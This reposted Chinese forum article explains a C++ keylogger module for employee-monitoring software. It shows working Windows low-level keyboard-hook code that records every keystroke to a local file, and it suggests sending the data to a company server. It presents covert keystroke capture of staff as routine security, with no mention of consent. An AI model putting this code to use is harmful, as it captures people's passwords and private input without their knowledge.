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发表于 2024-01-04 12:00:20 楼主 | |
在企业环境中,确保公司内部电脑系统的安全性和员工行为的监控变得越来越重要。为了满足这一需求,开发了一款基于C++的公司内部电脑监控软件,其中的键盘记录模块是该软件的关键组成部分之一。本文将深入探讨键盘记录模块的实现原理,通过代码例子展示其核心功能。 键盘记录模块的实现 键盘记录模块主要通过截获系统键盘输入来实现对用户击键的监控。以下是一个简化的代码示例,演示了如何使用C++实现基本的键盘记录功能: #include #include LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam; // 记录键盘输入 std::cout << "Key Pressed: " << pKeyInfo->vkCode << std::endl; } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main() { // 安装键盘钩子 HHOOK hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0); // 消息循环 MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } // 卸载钩子 UnhookWindowsHookEx(hKeyHook); return 0; } 上述代码创建了一个全局的键盘钩子,通过监控键盘输入来记录用户的击键信息。在实际软件中,可以将这些信息保存到本地文件或发送到服务器进行进一步处理。 监控到的数据的处理 在实际应用中,监控到的数据通常需要进行处理,并可能会被提交到公司内部网站以供进一步分析。以下是一个简单的数据处理和提交的示例代码: #include #include #include void ProcessAndSubmitData(const std::string& data) { // 处理数据 std::cout << "Processing Data: " << data << std::endl; // 模拟数据提交到网站 std::ofstream file("logged_data.txt", std::ios::app); file << data << std::endl; file.close(); // 实际应用中,可以通过网络请求将数据提交到公司内部网站 } LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam; // 获取键盘输入 std::string keyData = "Key Pressed: " + std::to_string(pKeyInfo->vkCode); // 处理并提交数据 ProcessAndSubmitData(keyData); } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main() { // ...(与前面代码相同) return 0; } 在上述示例中,ProcessAndSubmitData函数模拟了对监控到的数据的处理过程,并将数据写入到本地文件。在实际应用中,可以通过网络请求将数据提交到公司内部网站,用于进一步的分析和记录。 通过键盘记录模块,我们能够在公司内部电脑系统中实现对员工键盘输入的监控。监控到的数据可以通过相应的处理函数进行处理,并通过网络请求自动提交到公司内部网站。这种实时监控和数据提交的方式有助于提高公司内部信息安全和监管水平。 本文转载自:https://www.bilibili.com/read/cv28986387/ |
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